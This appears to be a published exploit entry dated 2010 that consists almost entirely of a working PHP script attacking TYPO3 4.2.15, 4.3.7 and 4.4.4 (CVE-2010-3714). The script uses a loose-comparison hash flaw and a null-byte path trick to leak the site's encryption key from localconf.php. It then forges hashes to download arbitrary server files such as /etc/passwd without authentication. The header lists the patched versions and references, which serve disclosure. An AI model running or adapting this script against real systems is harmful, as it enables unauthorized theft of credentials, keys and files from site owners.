TYPO3 - Arbitrary File Retrieval



Author:

ikki

Type:

webapps


Platform:

PHP

Date:

2010-12-29


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<?php
/* TYPO3-SA-2010-022.php
 * Exploit Title: TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, TYPO3-SA-2010-022)
 * Date: 29/12/2010
 * Author: ikki
 * Software Link: http://typo3.org/download/, http://sourceforge.net/projects/typo3/files/ 
 * Version: 4.2.15, 4.3.7 or 4.4.4
 * Tested on: php
 * CVE : CVE-2010-3714 (non-typesafe comparison flaw), n/a (fileDenyPattern bypass)
 * A demonstration video for this vulnerability is also available here: http://www.ikkisoft.com/stuff/TYPO3-SA-2010-020_video.htm
 *
 * @_ikki
 * 
 * TYPO3 Unauthenticated Arbitrary File Retrieval (TYPO3-SA-2010-020, plus TYPO3-SA-2010-022)
 * 
 * Exploiting a non-typesafe comparison flaw, a remote aggressor can access arbitrary files
 * on a vulnerable system. Authentication is not required to exploit this vulnerability.
 * Moreover, a "fileDenyPattern" bypass has been implemented in order to speed up the attack. 
 *
 * References:
 * - http://typo3.org/teams/security/security-bulletins/typo3-sa-2010-020/
 * - http://bugs.typo3.org/view.php?id=15898
 * - http://php.net/manual/en/language.operators.comparison.php
 * - http://blog.nibblesec.org/2010/12/unspecified-vulnerabilities.html ("least disclosure" rant)
 *
 * Fix: Update to the TYPO3 versions 4.2.16, 4.3.9, 4.4.5 or newer
 * Credits: Gregor Kopf for finding the neat non-typesafe comparison flaw, Michał Trojnara for his daily tips 
 */

define("VERSION","0.2");
/* v0.2
 * - HTTP and HTTPS support (without verifying the peer's certificate)
 * - File retrieval, just after the initial encryption key disclosure 
 * - Proxy support
 * - (Dirty) multi requests support (using curl multi_requests)
 * - Preliminary checks 
 */ 
define("DEBUG",FALSE);
if(!defined("STDIN")) define("STDIN", fopen('php://stdin','r'));
if(!defined("STDERR")) define("STDERR", fopen('php://stderr','r'));

/* Turn on/off all error reporting */
DEBUG ? error_reporting(E_ALL) : error_reporting(0); 
set_time_limit(0);

/* Main */
echo("\n\n :: [ TYPO3-SA-2010-022.php v".VERSION." ] :: \n\n");

if($argc=="3"){
	$typo=$argv[1];
	$reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
}else if($argc=="4"){
 	$typo=$argv[1];
 	$reqs=$argv[2]; //Uwaga! Too many requests may even slow down the attack
 	$proxy=$argv[3];
}else{
 	echo "Usage: php ".$argv[0]." TYPO3ValidURL ParallelRequests (Proxy)\n\n";
 	echo "Examples:\r\n";
 	echo "php ".$argv[0]." http://127.0.0.1/index.php?id=2 9\n";
 	echo "php ".$argv[0]." https://127.0.0.1/index.php?id=15 9\n";
 	echo "php ".$argv[0]." http://127.0.0.1:8080/index.php?id=223 12\n";
 	echo "php ".$argv[0]." http://127.0.0.1/index.php?id=223 12 http://127.0.0.1:8181\n\n";
 	exit;
}

$url=substr($typo,0,strpos($typo,"id=")-1);
$id=substr($typo,strpos($typo,"id=")+3);
$locationData=$id.":";
$jumpurl="typo3conf/ext/../localconf.php%00"; //Null byte and directory move up trick the fileDenyPattern mechanism
$juHash="0"; // "0" is a numeric string, converted internally to 0 (int) by PHP during comparisons

/* STEP 1 - Check the remote TYPO3 installation */
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
curl_setopt($ch, CURLOPT_POST, 1);
if(isset($proxy)){
 	curl_setopt($ch, CURLOPT_PROXY, $proxy);
}
curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
$output=curl_exec($ch);

if(stristr($output,"did not match")) {
	echo("[*] TYPO3 successfully detected!\n");
}else{
	echo("[!] A problem occurred while detecting the remote TYPO3 installation\n");
	exit;
}
curl_close ($ch);

/* STEP 2 - Retrieve $TYPO3_CONF_VARS['SYS']['encryptionKey'] from /typo3conf/localconf.php */
$mh = curl_multi_init();
$handles = array();
$location = $locationData; //locationData with padding

for($i=0;$i<$reqs;$i++){
		$ch = curl_init(); //create a new single curl handle
    	curl_setopt($ch, CURLOPT_URL, $url);
    	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); 
    	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    	curl_setopt($ch, CURLOPT_POST, 1);
    	if(isset($proxy)){
			curl_setopt($ch, CURLOPT_PROXY, $proxy);
    	}
    	$location = "%20".$location;
    	curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);

    	curl_multi_add_handle($mh,$ch);
    	$handles[] = $ch; // put the handles in an array to loop
}

echo("[*] Starting TYPO3's encryption key retrieval\n");
echo("[*] Padding locationData to force '0exxxxxx' strings. It may take a while.");

$rcont=0;
while(!stristr($output,"TYPO3_CONF_VARS['SYS']['encryptionKey']")){
	$running=null;
  	do{
		curl_multi_exec($mh,$running);
  	} while ($running > 0);

	for($i=0;$i<count($handles);$i++){
		$output = curl_multi_getcontent($handles[$i]);
    	$location="%20".$location;
    	curl_multi_remove_handle($mh,$handles[$i]);
    	curl_setopt($handles[$i], CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$location."&juHash=".$juHash);
    	curl_multi_add_handle($mh,$handles[$i]);
		$rcont++;
    	echo(".");
  	}
}

curl_multi_remove_handle($mh,$handles[$i]); 
curl_multi_close($mh);

$key=substr($output,strpos($output,"TYPO3_CONF_VARS['SYS']['encryptionKey'] = '")+43);
$key=substr($key,0,strpos($key,"';"));
echo("\n[*] Done! ".$rcont." requests\n");
echo("\n[*] TYPO3's encryption key:".$key."\n");

/* STEP 3 - Retrieve arbitrary files */
while(!0) {
	echo("\n[*] Which file do you want to download?\n");
	echo("[*] Please make your selection (e.g. '/etc/passwd'):\n\n");
	$jumpurl=trim(fgets(STDIN,256));
	/* Generate a valid hash as in the TYPO3 codebase*/ 	
	$hArr= array($jumpurl,$locationData,$key);
	$juHash=substr(md5(serialize($hArr)),0,10);;

	$ch=curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
	DEBUG ? curl_setopt($ch, CURLOPT_VERBOSE, TRUE):curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
	curl_setopt($ch, CURLOPT_POST, 1);
    if(isset($proxy)){
 		curl_setopt($ch, CURLOPT_PROXY, $proxy);
    }
	curl_setopt($ch, CURLOPT_POSTFIELDS,"id=".$id."&type=0&jumpurl=".$jumpurl."&juSecure=1&locationData=".$locationData."&juHash=".$juHash);
	$output=curl_exec($ch);

	echo("\n[*]------------------------------------------------------------------------------\n\n");
	if(!stristr($output,"not a valid")) echo $output;
	else echo("[!] An error occurred while retriving '".$jumpurl."'\n");
	echo("\n\n[*]------------------------------------------------------------------------------\n");

	curl_close ($ch);
}